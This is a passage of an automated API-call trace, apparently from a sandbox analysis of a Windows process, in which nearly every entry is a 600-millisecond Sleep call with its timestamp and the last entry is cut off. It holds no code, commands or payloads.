[0226.394] Sleep (dwMilliseconds=0x258) [0226.395] Sleep (dwMilliseconds=0x258) [0226.399] Sleep (dwMilliseconds=0x258) [0226.427] Sleep (dwMilliseconds=0x258) [0226.546] Sleep (dwMilliseconds=0x258) [0226.558] Sleep (dwMilliseconds=0x258) [0226.578] Sleep (dwMilliseconds=0x258) [0226.593] Sleep (dwMilliseconds=0x258) [0226.633] Sleep (dwMilliseconds=0x258) [0226.756] Sleep (dwMilliseconds=0x258) [0226.768] Sleep (dwMilliseconds=0x258) [0226.770] Sleep (dwMilliseconds=0x258) [0226.771] Sleep (dwMilliseconds=0x258) [0226.773] Sleep (dwMilliseconds=0x258) [0226.774] Sleep (dwMilliseconds=0x258) [0226.778] Sleep (dwMilliseconds=0x258) [0226.792] Sleep (dwMilliseconds=0x258) [0226.970] Sleep (dwMilliseconds=0x258) [0227.054] Sleep (dwMilliseconds=0x258) [0227.097] Sleep (dwMilliseconds=0x258) [0227.119] Sleep (dwMilliseconds=0x258) [0227.122] Sleep (dwMilliseconds=0x258) [0227.130] Sleep (dwMilliseconds=0x258) [0227.223] Sleep (dwMilliseconds=0x258) [0227.240] Sleep (dwMilliseconds=0x258) [0227.243] Sleep (dwMilliseconds=0x258) [0227.244] Sleep (dwMilliseconds=0x258) [0227.246] Sleep (dwMilliseconds=0x258) [0227.249] Sleep (dwMilliseconds=0x258) [0227.250] Sleep (dwMilliseconds=0x258) [0227.253] Sleep (dwMilliseconds=0x258) [0227.255] Sleep (dwMilliseconds=0x258) [0227.256] Sleep (dwMilliseconds=0x258) [0227.258] Sleep (dwMilliseconds=0x258) [0227.260] Sleep (dwMilliseconds=0x258) [0227.262] Sleep (dwMilliseconds=0x258) [0227.263] Sleep (dwMilliseconds=0x258) [0227.268] Sleep (dwMilliseconds=0x258) [0227.270] Sleep (dwMilliseconds=0x258) [0227.377] Sleep (dwMilliseconds=0x258) [0227.379] Sleep (dwMilliseconds=0x258) [0227.393] Sleep (dwMilliseconds=0x258) [0227.451] Sleep (dwMilliseconds=0x258) [0227.557] Sleep (dwMilliseconds=0x258) [0227.558] Sleep (dwMilliseconds=0x258) [0227.588] Sleep (dwMilliseconds=0x258) [0227.599] Sleep (dwMilliseconds=0x258) [0227.608] Sleep (dwMilliseconds=0x258) [0227.618] Sleep (dwMilliseconds=0x258) [0227.693] Sleep (dwMilliseconds=0x258) [0227.706] Sleep (dwMilliseconds=0x258) [0227.755] Sleep (dwMilliseconds=0x258) [0227.756] Sleep (dwMilliseconds=0x258) [0227.771] Sleep (dwMilliseconds=0x258) [0227.780] Sleep (dwMilliseconds=0x258) [0227.788] Sleep (dwMilliseconds=0x258) [0227.826] Sleep (dwMilliseconds=0x258) [0227.834] Sleep (dwMilliseconds=0x258) [0227.914] Sleep (dwMilliseconds=0x258) [0227.916] Sleep (dwMilliseconds=0x258) [0227.918] Sleep (dwMilliseconds=0x258) [0227.990] Sleep (dwMilliseconds=0x258) [0228.005] Sleep (dwMilliseconds=0x258) [0228.105] Sleep (dwMilliseconds=0x258) [0228.221] Sleep (dwMilliseconds=0x258) [0228.222] Sleep (dwMilliseconds=0x258) [0228.224] Sleep (dwMilliseconds=0x258) [0228.225] Sleep (dwMilliseconds=0x258) [0228.227] Sleep (dwMilliseconds=0x258) [0228.229] Sleep (dwMilliseconds=0x258) [0228.230] Sleep (dwMilliseconds=0x258) [0228.232] Sleep (dwMilliseconds=0x258) [0228.233] Sleep (dwMilliseconds=0x258) [0228.235] Sleep (dwMilliseconds=0x258) [0228.236] Sleep (dwMilliseconds=0x258) [0228.238] Sleep (dwMilliseconds=0x258) [0228.239] Sleep (dwMilliseconds=0x258) [0228.241] Sleep (dwMilliseconds=0x258) [0228.242] Sleep (dwMilliseconds=0x258) [0228.244] Sleep (dwMilliseconds=0x258) [0228.245] Sleep (dwMilliseconds=0x258) [0228.248] Sleep (dwMilliseconds=0x258) [0228.250] Sleep (dwMilliseconds=0x258) [0228.251] Sleep (dwMilliseconds=0x258) [0228.252] Sleep (dwMilliseconds=0x258) [0228.254] Sleep (dwMilliseconds=0x258) [0228.256] Sleep (dwMilliseconds=0x258) [0228.257] Sleep (dwMilliseconds=0x258) [0228.259] Sleep (dwMilliseconds=0x258) [0228.260] Sleep (dwMilliseconds=0x258) [0228.262] Sleep (dwMilliseconds=0x258) [0228.263] Sleep (dwMilliseconds=0x258) [0228.265] Sleep (dwMilliseconds=0x258) [0228.339] Sleep (dwMilliseconds=0x258) [0228.400] Sleep (dwMilliseconds=0x258) [0228.411] Sleep (dwMilliseconds=0x258) [0228.420] Sleep (dwMilliseconds=0x258) [0228.430] Sleep (dwMilliseconds=0x258) [0228.505] Sleep (dwMilliseconds=0x258) [0228.515] Sleep (dwMilliseconds=0x258) [0228.581] Sleep (dwMilliseconds=0x258) [0228.585] Sleep (dwMilliseconds=0x258) [0228.587] Sleep (dwMilliseconds=0x258) [0228.588] Sleep (dwMilliseconds=0x258) [0228.590] Sleep (dwMilliseconds=0x258) [0228.591] Sleep (dwMilliseconds=0x258) [0228.594] Sleep (dwMilliseconds=0x258) [0228.595] Sleep (dwMilliseconds=0x258) [0228.597] Sleep (dwMilliseconds=0x258) [0228.598] Sleep (dwMilliseconds=0x258) [0228.600] Sleep (dwMilliseconds=0x258) [0228.601] Sleep (dwMilliseconds=0x258) [0228.604] Sleep (dwMilliseconds=0x258) [0228.621] Sleep (dwMilliseconds=0x258) [0228.690] Sleep (dwMilliseconds=0x258) [0228.692] Sleep (dwMilliseconds=0x258) [0228.734] Sleep (dwMilliseconds=0x258) [0228.735] Sleep (dwMilliseconds=0x258) [0228.737] Sleep (dwMilliseconds=0x258) [0228.738] Sleep (dwMilliseconds=0x258) [0228.740] Sleep (dwMilliseconds=0x258) [0228.741] Sleep (dwMilliseconds=0x258) [0228.743] Sleep (dwMilliseconds=0x258) [0228.744] Sleep (dwMilliseconds=0x258) [0228.746] Sleep (dwMilliseconds=0x258) [0228.747] Sleep (dwMilliseconds=0x258) [0228.749] Sleep (dwMilliseconds=0x258) [0228.751] Sleep (dwMilliseconds=0x258) [0228.752] Sleep (dwMilliseconds=0x258) [0228.754] Sleep (dwMilliseconds=0x258) [0228.755] Sleep (dwMilliseconds=0x258) [0228.757] Sleep (dwMilliseconds=0x258) [0228.759] Sleep (dwMilliseconds=0x258) [0228.783] Sleep (dwMilliseconds=0x258) [0228.867] Sleep (dwMilliseconds=0x258) [0228.964] Sleep (dwMilliseconds=0x258) [0228.980] Sleep (dwMilliseconds=0x258) [0228.997] Sleep (dwMilliseconds=0x258) [0229.100] Sleep (dwMilliseconds=0x258) [0229.120] Sleep (dwMilliseconds=0x258) [0229.167] Sleep (dwMilliseconds=0x258) [0229.168] Sleep (dwMilliseconds=0x258) [0229.170] Sleep (dwMilliseconds=0x258) [0229.176] Sleep (dwMilliseconds=0x258) [0229.193] Sleep (dwMilliseconds=0x258) [0229.195] Sleep (dwMilliseconds=0x258) [0229.198] Sleep (dwMilliseconds=0x258) [0229.274] Sleep (dwMilliseconds=0x258) [0229.276] Sleep (dwMilliseconds=0x258) [0229.307] Sleep (dwMilliseconds=0x258) [0229.308] Sleep (dwMilliseconds=0x258) [0229.313] Sleep (dwMilliseconds=0x258) [0229.315] Sleep (dwMilliseconds=0x258) [0229.316] Sleep (dwMilliseconds=0x258) [0229.318] Sleep (dwMilliseconds=0x258) [0229.319] Sleep (dwMilliseconds=0x258) [0229.321] Sleep (dwMilliseconds=0x258) [0229.322] Sleep (dwMilliseconds=0x258) [0229.324] Sleep (dwMilliseconds=0x258) [0229.325] Sleep (dwMilliseconds=0x258) [0229.327] Sleep (dwMilliseconds=0x258) [0229.328] Sleep (dwMilliseconds=0x258) [0229.330] Sleep (dwMilliseconds=0x258) [0229.331] Sleep (dwMilliseconds=0x258) [0229.333] Sleep (dwMilliseconds=0x258) [0229.334] Sleep (dwMilliseconds=0x258) [0229.336] Sleep (dwMilliseconds=0x258) [0229.387] Sleep (dwMilliseconds=0x258) [0229.461] Sleep (dwMilliseconds=0x258) [0229.463] Sleep (dwMilliseconds=0x258) [0229.473] Sleep (dwMilliseconds=0x258) [0229.483] Sleep (dwMilliseconds=0x258) [0229.490] Sleep (dwMilliseconds=0x258) [0229.503] Sleep (dwMilliseconds=0x258) [0229.573] Sleep (dwMilliseconds=0x258) [0229.583] Sleep (dwMilliseconds=0x258) [0229.628] Sleep (dwMilliseconds=0x258) [0229.637] Sleep (dwMilliseconds=0x258) [0229.639] Sleep (dwMilliseconds=0x258) [0229.640] Sleep (dwMilliseconds=0x258) [0229.650] Sleep (dwMilliseconds=0x258) [0229.652] Sleep (dwMilliseconds=0x258) [0229.653] Sleep (dwMilliseconds=0x258) [0229.655] Sleep (dwMilliseconds=0x258) [0229.656] Sleep (dwMilliseconds=0x258) [0229.708] Sleep (dwMilliseconds=0x258) [0229.808] Sleep (dwMilliseconds=0x258) [0229.810] Sleep (dwMilliseconds=0x258) [0229.824] Sleep (dwMilliseconds=0x258) [0229.836] Sleep (dwMilliseconds=0x258) [0229.845] Sleep (dwMilliseconds=0x258) [0229.878] Sleep (dwMilliseconds=0x258) [0229.887] Sleep (dwMilliseconds=0x258) [0229.982] Sleep (dwMilliseconds=0x258) [0229.984] Sleep (dwMilliseconds=0x258) [0229.986] Sleep (dwMilliseconds=0x258) [0229.988] Sleep (dwMilliseconds=0x258) [0229.989] Sleep (dwMilliseconds=0x258) [0229.991] Sleep (dwMilliseconds=0x258) [0229.993] Sleep (dwMilliseconds=0x258) [0230.003] Sleep (dwMilliseconds=0x258) [0230.005] Sleep (dwMilliseconds=0x258) [0230.006] Sleep (dwMilliseconds=0x258) [0230.008] Sleep (dwMilliseconds=0x258) [0230.010] Sleep (dwMilliseconds=0x258) [0230.012] Sleep (dwMilliseconds=0x258) [0230.031] Sleep (dwMilliseconds=0x258) [0230.128] Sleep (dwMilliseconds=0x258) [0230.130] Sleep (dwMilliseconds=0x258) [0230.132] Sleep (dwMilliseconds=0x258) [0230.223] Sleep (dwMilliseconds=0x258) [0230.245] Sleep (dwMilliseconds=0x258) [0230.256] Sleep (dwMilliseconds=0x258) [0230.264] Sleep (dwMilliseconds=0x258) [0230.277] Sleep (dwMilliseconds=0x258) [0230.350] Sleep (dwMilliseconds=0x258) [0230.351] Sleep (dwMilliseconds=0x258) [0230.388] Sleep (dwMilliseconds=0x258) [0230.390] Sleep (dwMilliseconds=0x258) [0230.392] Sleep (dwMilliseconds=0x258) [0230.402] Sleep (dwMilliseconds=0x258) [0230.411] Sleep (dwMilliseconds=0x258) [0230.413] Sleep (dwMilliseconds=0x258) [0230.414] Sleep (dwMilliseconds=0x258) [0230.416] Sleep (dwMilliseconds=0x258) [0230.417] Sleep (dwMilliseconds=0x258) [0230.473] Sleep (dwMilliseconds=0x258) [0230.475] Sleep (dwMilliseconds=0x258) [0230.527] Sleep (dwMilliseconds=0x258) [0230.529] Sleep (dwMilliseconds=0x258) [0230.530] Sleep (dwMilliseconds=0x258) [0230.532] Sleep (dwMilliseconds=0x258) [0230.533] Sleep (dwMilliseconds=0x258) [0230.543] Sleep (dwMilliseconds=0x258) [0230.545] Sleep (dwMilliseconds=0x258) [0230.547] Sleep (dwMilliseconds=0x258) [0230.549] Sleep (dwMilliseconds=0x258) [0230.550] Sleep (dwMilliseconds=0x258) [0230.552] Sleep (dwMilliseconds=0x258) [0230.554] Sleep (dwMilliseconds=0x258) [0230.556] Sleep (dwMilliseconds=0x258) [0230.557] Sleep (dwMilliseconds=0x258) [0230.584] Sleep (dwMilliseconds=0x258) [0230.592] Sleep (dwMilliseconds=0x258) [0230.664] Sleep (dwMilliseconds=0x258) [0230.666] Sleep (dwMilliseconds=0x258) [0230.667] Sleep (dwMilliseconds=0x258) [0230.669] Sleep (dwMilliseconds=0x258) [0230.670] Sleep (dwMilliseconds=0x258) [0230.672] Sleep (dwMilliseconds=0x258) [0230.674] Sleep (dwMilliseconds=0x258) [0230.676] Sleep (dwMilliseconds=0x258) [0230.677] Sleep (dwMilliseconds=0x258) [0230.679] Sleep (dwMilliseconds=0x258) [0230.681] Sleep (dwMilliseconds=0x258) [0230.682] Sleep (dwMilliseconds=0x258) [0230.684] Sleep (dwMilliseconds=0x258) [0230.686] Sleep (dwMilliseconds=0x258) [0230.687] Sleep (dwMilliseconds=0x258) [0230.689] Sleep (dwMilliseconds=0x258) [0230.691] Sleep (dwMilliseconds=0x258) [0230.692] Sleep (dwMilliseconds=0x258) [0230.786] Sleep (dwMilliseconds=0x258) [0230.788] Sleep (dwMilliseconds=0x258) [0230.789] Sleep (dwMilliseconds=0x258) [0230.791] Sleep (dwMilliseconds=0x258) [0230.793] Sleep (dwMilliseconds=0x258) [0230.795] Sleep (dwMilliseconds=0x258) [0230.796] Sleep (dwMilliseconds=0x258) [0230.798] Sleep (dwMilliseconds=0x258) [0230.799] Sleep (dwMilliseconds=0x258) [0230.800] Sleep (dwMilliseconds=0x258) [0230.802] Sleep (dwMilliseconds=0x258) [0230.803] Sleep (dwMilliseconds=0x258) [0230.805] Sleep (dwMilliseconds=0x258) [0230.806] Sleep (dwMilliseconds=0x258) [0230.817] Sleep (dwMilliseconds=0x258) [0231.026] Sleep (dwMilliseconds=0x258) [0231.043] Sleep (dwMilliseconds=0x258) [0231.058] Sleep (dwMilliseconds=0x258) [0231.063] Sleep (dwMilliseconds=0x258) [0231.065] Sleep (dwMilliseconds=0x258) [0231.066] Sleep (dwMilliseconds=0x258) [0231.068] Sleep (dwMilliseconds=0x258) [0231.069] Sleep (dwMilliseconds=0x258) [0231.071] Sleep (dwMilliseconds=0x258) [0231.086] Sleep (dwMilliseconds=0x258) [0231.101] Sleep (dwMilliseconds=0x258) [0231.182] Sleep (dwMilliseconds=0x258) [0231.192] Sleep (dwMilliseconds=0x258) [0231.225] Sleep (dwMilliseconds=0x258) [0231.226] Sleep (dwMilliseconds=0x258) [0231.228] Sleep (dwMilliseconds=0x258) [0231.229] Sleep (dwMilliseconds=0x258) [0231.231] Sleep (dwMilliseconds=0x258) [0231.232] Sleep (dwMilliseconds=0x258) [0231.234] Sleep (dwMilliseconds=0x258) [0231.235] Sleep (dwMilliseconds=0x258) [0231.237] Sleep (dwMilliseconds=0x258) [0231.238] Sleep (dwMilliseconds=0x258) [0231.240] Sleep (dwMilliseconds=0x258) [0231.242] Sleep (dwMilliseconds=0x258) [0231.244] Sleep (dwMilliseconds=0x258) [0231.246] Sleep (dwMilliseconds=0x258) [0231.247] Sleep (dwMilliseconds=0x258) [0231.249] Sleep (dwMilliseconds=0x258) [0231.251] Sleep (dwMilliseconds=0x258) [0231.252] Sleep (dwMilliseconds=0x258) [0231.254] Sleep (dwMilliseconds=0x258) [0231.303] Sleep (dwMilliseconds=0x258) [0231.310] Sleep (dwMilliseconds=0x258) [0231.351] Sleep (dwMilliseconds=0x258) [0231.353] Sleep (dwMilliseconds=0x258) [0231.358] Sleep (dwMilliseconds=0x258) [0231.359] Sleep (dwMilliseconds=0x258) [0231.362] Sleep (dwMilliseconds=0x258) [0231.364] Sleep (dwMilliseconds=0x258) [0231.365] Sleep (dwMilliseconds=0x258) [0231.367] Sleep (dwMilliseconds=0x258) [0231.368] Sleep (dwMilliseconds=0x258) [0231.370] Sleep (dwMilliseconds=0x258) [0231.371] Sleep (dwMilliseconds=0x258) [0231.373] Sleep (dwMilliseconds=0x258) [0231.375] Sleep (dwMilliseconds=0x258) [0231.376] Sleep (dwMilliseconds=0x258) [0231.379] Sleep (dwMilliseconds=0x258) [0231.380] Sleep (dwMilliseconds=0x258) [0231.427] Sleep (dwMilliseconds=0x258) [0231.439] Sleep (dwMilliseconds=0x258) [0231.483] Sleep (dwMilliseconds=0x258) [0231.497] Sleep (dwMilliseconds=0x258) [0231.509] Sleep (dwMilliseconds=0x258) [0231.513] Sleep (dwMilliseconds=0x258) [0231.579] Sleep (dwMilliseconds=0x258) [0231.623] Sleep (dwMilliseconds=0x258) [0231.625] Sleep (dwMilliseconds=0x258) [0231.638] Sleep (dwMilliseconds=0x258) [0231.650] Sleep (dwMilliseconds=0x258) [0231.666] Sleep (dwMilliseconds=0x258) [0231.724] Sleep (dwMilliseconds=0x258) [0231.774] Sleep (dwMilliseconds=0x258) [0231.776] Sleep (dwMilliseconds=0x258) [0231.777] Sleep (dwMilliseconds=0x258) [0231.779] Sleep (dwMilliseconds=0x258) [0231.780] Sleep (dwMilliseconds=0x258) [0231.782] Sleep (dwMilliseconds=0x258) [0231.783] Sleep (dwMilliseconds=0x258) [0231.784] Sleep (dwMilliseconds=0x258) [0231.786] Sleep (dwMilliseconds=0x258) [0231.787] Sleep (dwMilliseconds=0x258) [0231.789] Sleep (dwMilliseconds=0x258) [0231.820] Sleep (dwMilliseconds=0x258) [0231.876] Sleep (dwMilliseconds=0x258) [0231.878] Sleep (dwMilliseconds=0x258) [0231.957] Sleep (dwMilliseconds=0x258) [0231.959] Sleep (dwMilliseconds=0x258) [0231.961] Sleep (dwMilliseconds=0x258) [0231.966] Sleep (dwMilliseconds=0x258) [0231.968] Sleep (dwMilliseconds=0x258) [0231.970] Sleep (dwMilliseconds=0x258) [0231.984] Sleep (dwMilliseconds=0x258) [0231.999] Sleep (dwMilliseconds=0x258) [0232.056] Sleep (dwMilliseconds=0x258) [0232.070] Sleep (dwMilliseconds=0x258) [0232.198] Sleep (dwMilliseconds=0x258) [0232.200] Sleep (dwMilliseconds=0x258) [0232.202] Sleep (dwMilliseconds=0x258) [0232.203] Sleep (dwMilliseconds=0x258) [0232.209] Sleep (dwMilliseconds=0x258) [0232.212] Sleep (dwMilliseconds=0x258) [0232.226] Sleep (dwMilliseconds=0x258) [0232.236] Sleep (dwMilliseconds=0x258) [0232.277] Sleep (dwMilliseconds=0x258) [0232.287] Sleep (dwMilliseconds=0x258) [0232.355] Sleep (dwMilliseconds=0x258) [0232.365] Sleep (dwMilliseconds=0x258) [0232.367] Sleep (dwMilliseconds=0x258) [0232.377] Sleep (dwMilliseconds=0x258) [0232.379] Sleep (dwMilliseconds=0x258) [0232.406] Sleep (dwMilliseconds=0x258) [0232.421] Sleep (dwMilliseconds=0x258) [0232.422] Sleep (dwMilliseconds=0x258) [0232.508] Sleep (dwMilliseconds=0x258) [0232.517] Sleep (dwMilliseconds=0x258) [0232.527] Sleep (dwMilliseconds=0x258) [0232.528] Sleep (dwMilliseconds=0x258) [0232.529] Sleep (dwMilliseconds=0x258) [0232.531] Sleep (dwMilliseconds=0x258) [0232.533] Sleep (dwMilliseconds=0x258) [0232.534] Sleep (dwMilliseconds=0x258) [0232.536] Sleep (dwMilliseconds=0x258) [0232.538] Sleep (dwMilliseconds=0x258) [0232.539] Sleep (dwMilliseconds=0x258) [0232.541] Sleep (dwMilliseconds=0x258) [0232.544] Sleep (dwMilliseconds=0x258) [0232.546] Sleep (dwMilliseconds=0x258) [0232.547] Sleep (dwMilliseconds=0x258) [0232.549] Sleep (dwMilliseconds=0x258) [0232.551] Sleep (dwMilliseconds=0x258) [0232.552] Sleep (dwMilliseconds=0x258) [0232.553] Sleep (dwMilliseconds=0x258) [0232.555] Sleep (dwMilliseconds=0x258) [0232.556] Sleep (dwMilliseconds=0x258) [0232.558] Sleep (dwMilliseconds=0x258) [0232.559] Sleep (dwMilliseconds=0x258) [0232.561] Sleep (dwMilliseconds=0x258) [0232.563] Sleep (dwMilliseconds=0x258) [0232.615] Sleep (dwMilliseconds=0x258) [0232.617] Sleep (dwMilliseconds=0x258) [0232.644] Sleep (dwMilliseconds=0x258) [0232.646] Sleep (dwMilliseconds=0x258) [0232.647] Sleep (dwMilliseconds=0x258) [0232.649] Sleep (dwMilliseconds=0x258) [0232.650] Sleep (dwMilliseconds=0x258) [0232.652] Sleep (dwMilliseconds=0x258) [0232.653] Sleep (dwMilliseconds=0x258) [0232.655] Sleep (dwMilliseconds=0x258) [0232.656] Sleep (dwMilliseconds=0x258) [0232.658] Sleep (dwMilliseconds=0x258) [0232.667] Sleep (dwMilliseconds=0x258) [0232.676] Sleep (dwMilliseconds=0x258) [0232.736] Sleep (dwMilliseconds=0x258) [0232.746] Sleep (dwMilliseconds=0x258) [0232.795] Sleep (dwMilliseconds=0x258) [0232.804] Sleep (dwMilliseconds=0x258) [0232.806] Sleep (dwMilliseconds=0x258) [0232.807] Sleep (dwMilliseconds=0x258) [0232.808] Sleep (dwMilliseconds=0x258) [0232.810] Sleep (dwMilliseconds=0x258) [0232.811] Sleep (dwMilliseconds=0x258) [0232.813] Sleep (dwMilliseconds=0x258) [0232.814] Sleep (dwMilliseconds=0x258) [0232.816] Sleep (dwMilliseconds=0x258) [0232.817] Sleep (dwMilliseconds=0x258) [0232.819] Sleep (dwMilliseconds=0x258) [0232.821] Sleep (dwMilliseconds=0x258) [0232.822] Sleep (dwMilliseconds=0x258) [0232.824] Sleep (dwMilliseconds=0x258) [0232.858] Sleep (dwMilliseconds=0x258) [0232.868] Sleep (dwMilliseconds=0x258) [0232.969] Sleep (dwMilliseconds=0x258) [0232.981] Sleep (dwMilliseconds=0x258) [0232.995] Sleep (dwMilliseconds=0x258) [0232.997] Sleep (dwMilliseconds=0x258) [0232.999] Sleep (dwMilliseconds=0x258) [0233.039] Sleep (dwMilliseconds=0x258) [0233.119] Sleep (dwMilliseconds=0x258) [0233.122] Sleep (dwMilliseconds=0x258) [0233.124] Sleep (dwMilliseconds=0x258) [0233.125] Sleep (dwMilliseconds=0x258) [0233.130] Sleep (dwMilliseconds=0x258) [0233.131] Sleep (dwMilliseconds=0x258) [0233.133] Sleep (dwMilliseconds=0x258) [0233.134] Sleep (dwMilliseconds=0x258) [0233.136] Sleep (dwMilliseconds=0x258) [0233.141] Sleep (dwMilliseconds=0x258) [0233.143] Sleep (dwMilliseconds=0x258) [0233.150] Sleep (dwMilliseconds=0x258) [0233.179] Sleep (dwMilliseconds=0x258) [0233.182] Sleep (dwMilliseconds=0x258) [0233.261] Sleep (dwMilliseconds=0x258) [0233.262] Sleep (dwMilliseconds=0x258) [0233.264] Sleep (dwMilliseconds=0x258) [0233.265] Sleep (dwMilliseconds=0x258) [0233.282] Sleep (dwMilliseconds=0x258) [0233.328] Sleep (dwMilliseconds=0x258) [0233.339] Sleep (dwMilliseconds=0x258) [0233.428] Sleep (dwMilliseconds=0x258) [0233.436] Sleep (dwMilliseconds=0x258) [0233.449] Sleep (dwMilliseconds=0x258) [0233.464] Sleep (dwMilliseconds=0x258) [0233.474] Sleep (dwMilliseconds=0x258) [0233.570] Sleep (dwMilliseconds=0x258) [0233.571] Sleep (dwMilliseconds=0x258) [0233.588] Sleep (dwMilliseconds=0x258) [0233.682] Sleep (dwMilliseconds=0x258) [0233.759] Sleep (dwMilliseconds=0x258) [0233.797] Sleep (dwMilliseconds=0x258) [0233.830] Sleep (dwMilliseconds=0x258) [0233.857] Sleep (dwMilliseconds=0x258) [0233.859] Sleep (dwMilliseconds=0x258) [0233.860] Sleep (dwMilliseconds=0x258) [0233.862] Sleep (dwMilliseconds=0x258) [0233.877] Sleep (dwMilliseconds=0x258) [0234.008] Sleep (dwMilliseconds=0x258) [0234.074] Sleep (dwMilliseconds=0x258) [0234.103] Sleep (dwMilliseconds=0x258) [0234.118] Sleep (dwMilliseconds=0x258) [0234.131] Sleep (dwMilliseconds=0x258) [0234.135] Sleep (dwMilliseconds=0x258) [0234.260] Sleep (dwMilliseconds=0x258) [0234.277] Sleep (dwMilliseconds=0x258) [0234.292] Sleep (dwMilliseconds=0x258) [0234.308] Sleep (dwMilliseconds=0x258) [0234.377] Sleep (dwMilliseconds=0x258) [0234.386] Sleep (dwMilliseconds=0x258) [0234.423] Sleep (dwMilliseconds=0x258) [0234.425] Sleep (dwMilliseconds=0x258) [0234.434] Sleep (dwMilliseconds=0x258) [0234.443] Sleep (dwMilliseconds=0x258) [0234.453] Sleep (dwMilliseconds=0x258) [0234.533] Sleep (dwMilliseconds=0x258) [0234.534] Sleep (dwMilliseconds=0x258) [0234.597] Sleep (dwMilliseconds=0x258) [0234.598] Sleep (dwMilliseconds=0x258) [0234.599] Sleep (dwMilliseconds=0x258) [0234.601] Sleep (dwMilliseconds=0x258) [0234.602] Sleep (dwMilliseconds=0x258) [0234.604] Sleep (dwMilliseconds=0x258) [0234.605] Sleep (dwMilliseconds=0x258) [0234.607] Sleep (dwMilliseconds=0x258) [0234.608] Sleep (dwMilliseconds=0x258) [0234.610] Sleep (dwMilliseconds=0x258) [0234.611] Sleep (dwMilliseconds=0x258) [0234.613] Sleep (dwMilliseconds=0x258) [0234.615] Sleep (dwMilliseconds=0x258) [0234.616] Sleep (dwMilliseconds=0x258) [0234.618] Sleep (dwMilliseconds=0x258) [0234.620] Sleep (dwMilliseconds=0x258) [0234.622] Sleep (dwMilliseconds=0x258) [0234.624] Sleep (dwMilliseconds=0x258) [0234.626] Sleep (dwMilliseconds=0x258) [0234.644] Sleep (dwMilliseconds=0x258) [0234.733] Sleep (dwMilliseconds=0x258) [0234.735] Sleep (dwMilliseconds=0x258) [0234.736] Sleep (dwMilliseconds=0x258) [0234.753] Sleep (dwMilliseconds=0x258) [0234.755] Sleep (dwMilliseconds=0x258) [0234.757] Sleep (dwMilliseconds=0x258) [0234.759] Sleep (dwMilliseconds=0x258) [0234.761] Sleep (dwMilliseconds=0x258) [0234.762] Sleep (dwMilliseconds=0x258) [0234.782] Sleep (dwMilliseconds=0x258) [0234.784] Sleep (dwMilliseconds=0x258) [0234.871] Sleep (dwMilliseconds=0x258) [0234.878] Sleep (dwMilliseconds=0x258) [0234.879] Sleep (dwMilliseconds=0x258) [0235.121] Sleep (dwMilliseconds=0x258) [0235.166] Sleep (dwMilliseconds=0x258) [0235.178] Sleep (dwMilliseconds=0x258) [0235.269] Sleep (dwMilliseconds=0x258) [0235.285] Sleep (dwMilliseconds=0x258) [0235.287] Sleep (dwMilliseconds=0x258) [0235.288] Sleep (dwMilliseconds=0x258) [0235.290] Sleep (dwMilliseconds=0x258) [0235.291] Sleep (dwMilliseconds=0x258) [0235.293] Sleep (dwMilliseconds=0x258) [0235.296] Sleep (dwMilliseconds=0x258) [0235.297] Sleep (dwMilliseconds=0x258) [0235.299] Sleep (dwMilliseconds=0x258) [0235.311] Sleep (dwMilliseconds=0x258) [0235.313] Sleep (dwMilliseconds=0x258) [0235.397] Sleep (dwMilliseconds=0x258) [0235.400] Sleep (dwMilliseconds=0x258) [0235.414] Sleep (dwMilliseconds=0x258) [0235.416] Sleep (dwMilliseconds=0x258) [0235.418] Sleep (dwMilliseconds=0x258) [0235.419] Sleep (dwMilliseconds=0x258) [0235.421] Sleep (dwMilliseconds=0x258) [0235.423] Sleep (dwMilliseconds=0x258) [0235.425] Sleep (dwMilliseconds=0x258) [0235.426] Sleep (dwMilliseconds=0x258) [0235.429] Sleep (dwMilliseconds=0x258) [0235.430] Sleep (dwMilliseconds=0x258) [0235.432] Sleep (dwMilliseconds=0x258) [0235.433] Sleep (dwMilliseconds=0x258) [0235.435] Sleep (dwMilliseconds=0x258) [0235.449] Sleep (dwMilliseconds=0x258) [0235.593] Sleep (dwMilliseconds=0x258) [0235.594] Sleep (dwMilliseconds=0x258) [0235.605] Sleep (dwMilliseconds=0x258) [0235.614] Sleep (dwMilliseconds=0x258) [0235.623] Sleep (dwMilliseconds=0x258) [0235.767] Sleep (dwMilliseconds=0x258) [0235.774] Sleep (dwMilliseconds=0x258) [0235.780] Sleep (dwMilliseconds=0x258) [0235.782] Sleep (dwMilliseconds=0x258) [0235.783] Sleep (dwMilliseconds=0x258) [0235.785] Sleep (dwMilliseconds=0x258) [0235.786] Sleep (dwMilliseconds=0x258) [0235.788] Sleep (dwMilliseconds=0x258) [0235.790] Sleep (dwMilliseconds=0x258) [0235.791] Sleep (dwMilliseconds=0x258) [0235.795] Sleep (dwMilliseconds=0x258) [0235.798] Sleep (dwMilliseconds=0x258) [0235.801] Sleep (dwMilliseconds=0x258) [0235.804] Sleep (dwMilliseconds=0x258) [0235.805] Sleep (dwMilliseconds=0x258) [0235.807] Sleep (dwMilliseconds=0x258) [0235.808] Sleep (dwMilliseconds=0x258) [0235.811] Sleep (dwMilliseconds=0x258) [0235.813] Sleep (dwMilliseconds=0x258) [0235.953] Sleep (dwMilliseconds=0x258) [0236.042] Sleep (dwMilliseconds=0x258) [0236.044] Sleep (dwMilliseconds=0x258) [0236.052] Sleep (dwMilliseconds=0x258) [0236.053] Sleep (dwMilliseconds=0x258) [0236.055] Sleep (dwMilliseconds=0x258) [0236.057] Sleep (dwMilliseconds=0x258) [0236.059] Sleep (dwMilliseconds=0x258) [0236.062] Sleep (dwMilliseconds=0x258) [0236.065] Sleep (dwMilliseconds=0x258) [0236.066] Sleep (dwMilliseconds=0x258) [0236.069] Sleep (dwMilliseconds=0x258) [0236.070] Sleep (dwMilliseconds=0x258) [0236.072] Sleep (dwMilliseconds=0x258) [0236.184] Sleep (dwMilliseconds=0x258) [0236.186] Sleep (dwMilliseconds=0x258) [0236.219] Sleep (dwMilliseconds=0x258) [0236.323] Sleep (dwMilliseconds=0x258) [0236.332] Sleep (dwMilliseconds=0x258) [0236.344] Sleep (dwMilliseconds=0x258) [0236.360] Sleep (dwMilliseconds=0x258) [0236.362] Sleep (dwMilliseconds=0x258) [0236.363] Sleep (dwMilliseconds=0x258) [0236.366] Sleep (dwMilliseconds=0x258) [0236.367] Sleep (dwMilliseconds=0x258) [0236.369] Sleep (dwMilliseconds=0x258) [0236.370] Sleep (dwMilliseconds=0x258) [0236.373] Sleep (dwMilliseconds=0x258) [0236.511] Sleep (dwMilliseconds=0x258) [0236.527] Sleep (dwMilliseconds=0x258) [0236.541] Sleep (dwMilliseconds=0x258) [0236.672] Sleep (dwMilliseconds=0x258) [0236.682] Sleep 